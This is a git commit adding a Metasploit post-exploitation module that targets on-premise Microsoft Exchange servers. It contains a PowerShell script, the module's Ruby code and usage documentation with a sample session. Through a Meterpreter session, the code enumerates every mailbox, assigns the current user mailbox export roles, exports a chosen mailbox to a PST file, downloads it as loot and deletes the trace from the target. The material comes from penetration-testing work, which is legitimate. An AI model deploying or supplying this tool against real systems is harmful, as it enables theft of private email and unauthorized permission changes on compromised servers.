Land #14869, Add Windows post module for gathering Exchange mailboxes
Merge branch 'land-14869' into upstream-master
This commit is contained in:
commit
11b12e4c63
|
@ -0,0 +1,207 @@
|
|||
# Wrapper around Write-Host, but surrounds the string with delimiters so that we can disregard spam output originating from RemoteExchange scripts
|
||||
function Write-Output ( [string] $string ) {
|
||||
$string = [string]::join("<br>",($string.Split("`r`n")))
|
||||
# <output> is a placeholder delimiter, it is later replaced by the Ruby script
|
||||
Write-Host "<output>$string</output>"
|
||||
}
|
||||
|
||||
function Export-Mailboxes ([string] $mailbox, [string] $filter, [string] $path) {
|
||||
# $path may arrive as a short path (C:\Users\ADMINI~1\...), but Exchange does not accept short paths.
|
||||
# Get-Item is used to translate the short path to a full path.
|
||||
$path_parent = Split-Path -Path $path -Parent
|
||||
$path_leaf = Split-Path -Path $path -Leaf
|
||||
$path_parent_full = (Get-Item -LiteralPath $path_parent).FullName
|
||||
$path_full = Join-Path $path_parent_full $path_leaf
|
||||
|
||||
# Convert path to a UNC path
|
||||
$path_drive = (Split-Path -Path $path_full -Qualifier)[0]
|
||||
$path_rest = Split-Path -Path $path_full -NoQualifier
|
||||
$unc_path = '\\localhost\' + $path_drive + '$' + $path_rest
|
||||
|
||||
Write-Output "Exporting mailbox..."
|
||||
|
||||
try {
|
||||
if ($filter -eq "") {
|
||||
# Don't use a filter
|
||||
$export_req = New-MailboxExportRequest -Priority High -Mailbox $mailbox -FilePath $unc_path
|
||||
} else {
|
||||
# Use a filter
|
||||
$export_req = New-MailboxExportRequest -Priority High -ContentFilter $filter -Mailbox $mailbox -FilePath $unc_path
|
||||
}
|
||||
}
|
||||
catch {
|
||||
$EM = $_.Exception.Message
|
||||
Write-Output "Error exporting mailbox - New-MailboxExportRequest failed"
|
||||
Write-Output "Exception message: '$EM'"
|
||||
return
|
||||
}
|
||||
|
||||
if ($export_req -eq $null) {
|
||||
Write-Output "Error exporting mailbox - New-MailboxExportRequest returned null"
|
||||
return
|
||||
}
|
||||
|
||||
# Monitor the export job status
|
||||
While ($true) {
|
||||
$req_status = $export_req | Get-MailboxExportRequest
|
||||
|
||||
Write-Output ". $($req_status.Status)"
|
||||
|
||||
if ($req_status.Status -eq "Failed") {
|
||||
Write-Output "Error exporting mailbox - Export job failed"
|
||||
break
|
||||
}
|
||||
|
||||
if ($req_status.Status -eq "Completed") {
|
||||
Write-Output "Exporting done"
|
||||
break
|
||||
}
|
||||
|
||||
Start-Sleep -Seconds 1
|
||||
}
|
||||
|
||||
$export_req | Remove-MailboxExportRequest -Confirm:$false
|
||||
}
|
||||
|
||||
function List-Mailboxes {
|
||||
# Don't throw exceptions when errors are encountered
|
||||
$Global:ErrorActionPreference = "Continue"
|
||||
|
||||
$servers = Get-MailboxServer
|
||||
foreach ($server in $servers) {
|
||||
Write-Output "----------"
|
||||
Write-Output "Server:"
|
||||
Write-Output "- Name: $($server.Name)"
|
||||
Write-Output "- Version: $($server.AdminDisplayVersion)"
|
||||
Write-Output "- Role: $($server.ServerRole)"
|
||||
Write-Output "-----"
|
||||
Write-Output "Mailboxes:"
|
||||
$mailboxes = Get-Mailbox -Server $server
|
||||
foreach ($mailbox in $mailboxes) {
|
||||
Write-Output "---"
|
||||
Write-Output "- Display Name: $($mailbox.DisplayName)"
|
||||
Write-Output "- Email Addresses: $($mailbox.EmailAddresses)"
|
||||
Write-Output "- Creation date: $($mailbox.WhenMailboxCreated)"
|
||||
Write-Output "- Address list membership: $($mailbox.AddressListMembership)"
|
||||
|
||||
$folderstats = $mailbox | Get-MailboxFolderStatistics -IncludeOldestAndNewestItems -IncludeAnalysis
|
||||
if ($folderstats) {
|
||||
$non_empty_folders = ( $folderstats | ? {$_.ItemsInFolder -gt 0 })
|
||||
if (!($non_empty_folders)) {
|
||||
Write-Output "- (All folders are empty)"
|
||||
} else {
|
||||
Write-Output "- Folders:"
|
||||
foreach ($folderstats in $non_empty_folders) {
|
||||
$output_string = "-- Path $($folderstats.FolderPath), Items $($folderstats.ItemsInFolder), Size $($folderstats.FolderSize)"
|
||||
if ($folderstats.NewestItemReceivedDate) {
|
||||
$output_string += ", Newest received date $($folderstats.NewestItemReceivedDate)"
|
||||
}
|
||||
Write-Output "$output_string"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Ensure-Role ([string] $user, [string] $role) {
|
||||
$assignments = Get-ManagementRoleAssignment -Role $role -RoleAssignee $user -Delegating $false
|
||||
if (!($assignments)) {
|
||||
Write-Output "User not assigned to role $role - Assigning now"
|
||||
New-ManagementRoleAssignment -Role $role -User $user
|
||||
}
|
||||
}
|
||||
|
||||
function Check-Permission {
|
||||
try {
|
||||
$Current_Identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
|
||||
$Groups = Get-ADPrincipalGroupMembership -identity $Current_Identity.User
|
||||
}
|
||||
catch {
|
||||
$EM = $_.Exception.Message
|
||||
Write-Output "Error getting the current user's Active Directory group membership"
|
||||
Write-Output "Exception message: '$EM'"
|
||||
return $false
|
||||
}
|
||||
|
||||
return [bool] ( $Groups | ? {$_.samAccountName -eq "Organization Management" })
|
||||
}
|
||||
|
||||
function Assign-Roles {
|
||||
$Current_Username = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
|
||||
|
||||
# Ensure the current user has the following roles, required for the New-MailboxExportRequest cmdlet
|
||||
Ensure-Role $Current_Username "Mailbox Search"
|
||||
Ensure-Role $Current_Username "Mailbox Import Export"
|
||||
}
|
||||
|
||||
function Get-RemoteExchangePath {
|
||||
# Get the path of the RemoteExchange.ps1 script
|
||||
$Path = $env:ExchangeInstallPath
|
||||
if (!$Path -Or !(Test-Path $Path)) {
|
||||
$Path = Join-Path $env:ProgramFiles 'Microsoft\Exchange Server\V15\'
|
||||
if (!(Test-Path $Path)) {
|
||||
$Path = Join-Path $env:ProgramFiles 'Microsoft\Exchange Server\V14\'
|
||||
if (!(Test-Path $Path)) {
|
||||
return $null
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$RemoteExchangePath = Join-Path $Path 'Bin\RemoteExchange.ps1'
|
||||
if (!(Test-Path $RemoteExchangePath)) {
|
||||
return $null
|
||||
}
|
||||
|
||||
return $RemoteExchangePath
|
||||
}
|
||||
|
||||
# Need to set this in order to catch errors raised by RemoteExchange as exceptions
|
||||
$Global:ErrorActionPreference = "Stop"
|
||||
|
||||
$RemoteExchangePath = Get-RemoteExchangePath
|
||||
if (!($RemoteExchangePath)) {
|
||||
Write-Output "Couldn't find RemoteExchange PowerShell script"
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
Import-Module $RemoteExchangePath
|
||||
}
|
||||
catch {
|
||||
$EM = $_.Exception.Message
|
||||
Write-Output "Error loading the RemoteExchange PowerShell script"
|
||||
Write-Output "Exception message: '$EM'"
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
Connect-ExchangeServer -auto
|
||||
}
|
||||
catch {
|
||||
$EM = $_.Exception.Message
|
||||
Write-Output "Error connecting to Exchange server"
|
||||
Write-Output "Exception message: '$EM'"
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
# There's a bug in Exchange 2010 that requires running an Exchange cmdlet before an AD cmdlet, otherwise the script won't work.
|
||||
# For this reason, we run Get-Mailbox here and disregard its output.
|
||||
Get-Mailbox | Out-Null
|
||||
|
||||
if (!(Check-Permission)) {
|
||||
Write-Output "Permission check failed, current user must be assigned to the Organization Management role group"
|
||||
return
|
||||
}
|
||||
|
||||
_COMMAND_
|
||||
}
|
||||
catch [System.Management.Automation.CommandNotFoundException] {
|
||||
Write-Output "A CommandNotFoundException was thrown - Some Exchange Management Shell are unavailable. This is most likely due to insufficient credentials in meterpreter session"
|
||||
}
|
||||
catch {
|
||||
$EM = $_.Exception.Message
|
||||
Write-Output "Aborting, caught an exception"
|
||||
Write-Output "Exception message: '$EM'"
|
||||
}
|
|
@ -0,0 +1,121 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module will gather information from an on-premise Exchange Server running on the target machine.
|
||||
|
||||
Two actions are supported:
|
||||
|
||||
`LIST` (default action): List basic information about all Exchange servers and mailboxes hosted on the target.
|
||||
|
||||
`EXPORT`: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.
|
||||
|
||||
It requires that the effective Meterpreter session user be assigned to the "Organization Management" role group.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get meterpreter session on a Windows target running an Exchange Server
|
||||
3. Do: `use post/windows/gather/exchange`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### FILTER
|
||||
|
||||
Filter to use when exporting a mailbox.
|
||||
|
||||
See [Microsoft documentation](https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter)
|
||||
for valid values.
|
||||
|
||||
Unused for LIST action, optional for EXPORT action.
|
||||
|
||||
### MAILBOX
|
||||
|
||||
Mailbox to export. Can be a mailbox's email address or display name.
|
||||
|
||||
Unused for LIST action, required for EXPORT action.
|
||||
|
||||
### DownloadSizeThreshold
|
||||
|
||||
The file size of export results after which a prompt will appear to confirm the download, in MB.
|
||||
|
||||
Option takes a float number. Default value is 50.0.
|
||||
|
||||
### SkipLargeDownloads
|
||||
|
||||
If set to `true`, automatically skip downloading export results that are larger than `DownloadSizeThreshold` (don't show prompt).
|
||||
|
||||
Set to `false` by default.
|
||||
|
||||
## Extracted data
|
||||
|
||||
### LIST action
|
||||
For every server:
|
||||
|
||||
- Server name
|
||||
- Server version
|
||||
- Server role
|
||||
- For every mailbox in server:
|
||||
- Mailbox display name
|
||||
- Mailbox email addresses
|
||||
- Mailbox creation date
|
||||
- Mailbox address list membership
|
||||
- For every folder in mailbox:
|
||||
- Folder Path
|
||||
- Items in folder
|
||||
- Folder size
|
||||
- Newest item received date
|
||||
|
||||
### EXPORT action
|
||||
.PST file with the chosen mailbox's mail items
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2012 R2 with On-Premise Exchange Server 2010
|
||||
|
||||
```
|
||||
msf6 exploit(multi/handler) > use post/windows/gather/exchange
|
||||
msf6 post(windows/gather/exchange) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf6 post(windows/gather/exchange) > run -a LIST
|
||||
|
||||
[+] Exchange Server is present on target machine
|
||||
[+] PowerShell is present on target machine
|
||||
[+] Listing reachable servers and mailboxes:
|
||||
----------
|
||||
Server:
|
||||
- Name: WIN-49S7K9MJUAF
|
||||
- Version: Version 14.3 (Build 123.4)
|
||||
- Role: Mailbox, ClientAccess, HubTransport
|
||||
-----
|
||||
Mailboxes:
|
||||
---
|
||||
- Display Name: Administrator
|
||||
- Email Addresses: SMTP:Administrator@example.corp
|
||||
- Creation date: 12/02/2020 01:01:43
|
||||
- Address list membership: \Mailboxes(VLV) \All Mailboxes(VLV) \All Recipients(VLV) \Default Global Address List \All Users
|
||||
- (All folders are empty)
|
||||
---
|
||||
|
||||
[...]
|
||||
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/exchange) > set MAILBOX "Administrator"
|
||||
MAILBOX => Administrator
|
||||
msf6 post(windows/gather/exchange) > run -a EXPORT
|
||||
|
||||
[+] Exchange Server is present on target machine
|
||||
[+] PowerShell is present on target machine
|
||||
[+] Exporting mailbox 'Administrator':
|
||||
Exporting mailbox...
|
||||
. Queued
|
||||
. Queued
|
||||
. Queued
|
||||
. InProgress
|
||||
. Completed
|
||||
Exporting done
|
||||
[*] Resulting export file size: 0.26 MB
|
||||
[+] PST saved in: /home/user/.msf4/loot/20210309120402_default_192.168.1.70_PST_427036.pst
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/exchange) >
|
||||
```
|
|
@ -0,0 +1,174 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::Powershell
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Gather Exchange Server Mailboxes',
|
||||
'Description' => %q{
|
||||
This module will gather information from an on-premise Exchange Server running on the target machine.
|
||||
|
||||
Two actions are supported:
|
||||
LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.
|
||||
EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.
|
||||
|
||||
For a list of valid filters, see https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter
|
||||
|
||||
The executing user has to be assigned to the "Organization Management" role group for the module to successfully run.
|
||||
|
||||
Tested on Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 2016 on Windows Server 2016.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'SophosLabs Offensive Security team' ],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/sophoslabs/metasploit_gather_exchange' ],
|
||||
[ 'URL', 'https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/' ],
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Actions' => [
|
||||
[ 'LIST', { 'Description' => 'List basic information about all Exchange servers and mailboxes hosted on the target' } ],
|
||||
[ 'EXPORT', { 'Description' => 'Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword' } ],
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILTER', [ false, '[for EXPORT] Filter to use when exporting a mailbox (see description)' ]),
|
||||
OptString.new('MAILBOX', [ false, '[for EXPORT, required] Mailbox to export' ]),
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 600]),
|
||||
OptFloat.new('DownloadSizeThreshold', [true, 'The file size of export results after which a prompt will appear to confirm the download, in MB (0 for no threshold)', 50.0]),
|
||||
OptBool.new('SkipLargeDownloads', [true, 'Automatically skip downloading export results that are larger than DownloadSizeThreshold (don\'t show prompt)', false])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def execute_exchange_script(command)
|
||||
# Generate random delimiters for output coming from the powershell script
|
||||
output_start_delim = "<#{Rex::Text.rand_text_alphanumeric(16)}>"
|
||||
output_end_delim = "</#{Rex::Text.rand_text_alphanumeric(16)}>"
|
||||
|
||||
base_script = File.read(File.join(Msf::Config.data_directory, 'post', 'powershell', 'exchange.ps1'))
|
||||
# A hash is used as the replacement argument to avoid issues with backslashes in command
|
||||
psh_script = base_script.sub('_COMMAND_', '_COMMAND_' => command)
|
||||
# Insert the random delimiters in place of the placeholders
|
||||
psh_script.gsub!('<output>', output_start_delim)
|
||||
psh_script.gsub!('</output>', output_end_delim)
|
||||
compressed_script = compress_script(psh_script)
|
||||
cmd_out, _runnings_pids, _open_channels = execute_script(compressed_script, datastore['TIMEOUT'])
|
||||
while (d = cmd_out.channel.read)
|
||||
# Only print the output coming from PowerShell that is inside the delimiters
|
||||
d.scan(/#{output_start_delim}(.*?)#{output_end_delim}/) do |b|
|
||||
b[0].split('<br>') do |l|
|
||||
print_line(l.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def user_confirms_download?
|
||||
# Prompt the user to confirm the download. Return true if confirmed, false otherwise
|
||||
return false unless user_input.respond_to?(:pgets)
|
||||
|
||||
old_prompt = user_input.prompt
|
||||
user_input.prompt = 'Are you sure you want to continue? [y/N] '
|
||||
cont = user_input.pgets
|
||||
user_input.prompt = old_prompt
|
||||
|
||||
return cont.match?(/^y/i)
|
||||
end
|
||||
|
||||
def export_mailboxes(mailbox, filter)
|
||||
# Get the target's TEMP path and generate a random filename to serve as the save path for the export action
|
||||
temp_folder = get_env('TEMP')
|
||||
random_filename = "#{Rex::Text.rand_text_alpha(16)}.tmp"
|
||||
temp_save_path = "#{temp_folder}\\#{random_filename}"
|
||||
|
||||
# The Assign-Roles command is responsible for assigning the roles necessary for exporting,
|
||||
# It's executed in a separate PowerShell session because these changes don't take effect until a new session is created
|
||||
execute_exchange_script('Assign-Roles')
|
||||
execute_exchange_script("Export-Mailboxes \"#{mailbox}\" \"#{filter}\" \"#{temp_save_path}\"")
|
||||
|
||||
# After script is done executing, check if the export save path exists on the target
|
||||
if !file_exist?(temp_save_path)
|
||||
print_error('Export file not created on target machine. Aborting.')
|
||||
return
|
||||
end
|
||||
|
||||
# Get the size of the newly made export file
|
||||
stat = session.fs.file.stat(temp_save_path)
|
||||
mb_size = (stat.stathash['st_size'] / 1024.0 / 1024.0).round(2)
|
||||
print_status("Resulting export file size: #{mb_size} MB")
|
||||
if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
|
||||
print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
|
||||
print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
|
||||
|
||||
if datastore['SkipLargeDownloads'] || !user_confirms_download?
|
||||
print_error('Not downloading oversized export file.')
|
||||
rm_f(temp_save_path)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Download file using the loot system
|
||||
loot = store_loot('PST', 'application/vnd.ms-outlook', session, read_file(temp_save_path), 'export.pst', "PST export of mailbox #{mailbox}")
|
||||
print_good("PST saved in: #{loot}")
|
||||
|
||||
# Delete file from target
|
||||
rm_f(temp_save_path)
|
||||
end
|
||||
|
||||
def list_mailboxes
|
||||
execute_exchange_script('List-Mailboxes')
|
||||
end
|
||||
|
||||
def run
|
||||
# Check if Exchange Server is installed on the target by checking the registry
|
||||
if registry_key_exist?('HKLM\Software\Microsoft\ExchangeServer')
|
||||
print_good('Exchange Server is present on target machine')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Exchange Server is not present on target machine')
|
||||
end
|
||||
|
||||
# Check if PowerShell is installed on the target
|
||||
if have_powershell?
|
||||
print_good('PowerShell is present on target machine')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'PowerShell is not present on target machine')
|
||||
end
|
||||
|
||||
mailbox = datastore['MAILBOX']
|
||||
filter = datastore['FILTER']
|
||||
|
||||
case action.name
|
||||
when 'LIST'
|
||||
print_good('Listing reachable servers and mailboxes: ')
|
||||
list_mailboxes
|
||||
when 'EXPORT'
|
||||
if mailbox.nil? || mailbox.empty?
|
||||
fail_with(Failure::BadConfig, 'Option MAILBOX is required for action EXPORT')
|
||||
else
|
||||
print_good("Exporting mailbox '#{mailbox}': ")
|
||||
export_mailboxes(mailbox, filter)
|
||||
end
|
||||
else
|
||||
print_error("Unknown action: #{action.name}")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue